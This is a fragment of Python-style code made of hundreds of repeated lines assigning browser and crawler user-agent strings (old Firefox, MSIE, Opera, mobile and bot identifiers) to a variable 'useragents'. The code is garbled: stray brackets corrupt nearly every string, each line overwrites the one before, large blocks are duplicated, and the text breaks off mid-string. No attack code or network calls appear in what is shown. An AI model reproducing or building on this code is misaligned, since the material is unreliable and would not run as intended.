useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; 